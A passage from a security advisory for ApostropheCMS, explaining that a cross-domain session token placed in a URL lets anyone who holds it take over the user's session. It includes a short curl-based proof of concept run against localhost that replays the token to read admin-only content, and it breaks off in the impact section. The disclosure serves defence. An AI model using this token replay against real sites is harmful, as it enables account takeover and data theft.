GHSA-hhvr-8m24-qqr3 - ApostropheCMS: Cross-domain session token in URL confers session takeover

**Summary** Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials. **Details** `packages/apostrophe/modules/@apostrophecms/i18n/index.js`: - Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL. - `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`. - Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`. **PoC** ``` # 0) Anonymous baseline: admin-only draft → 403 # 1) Admin logs in legitimately (token minted into redirect URL): curl -c admin.cookies -X POST -H "Content-Type: application/json" \ --data '{"username":"admin","password":"adminpassword","session":true}' \ http://localhost:3100/api/v1/@apostrophecms/login/login # 2) Attacker with NO credentials visits the leaked token URL: curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN" # → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie # 3) Attacker reads admin-only content via adopted session: curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123 # 4) Cache entry consumed (single-use): {"value":null} ``` **Impact** Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browse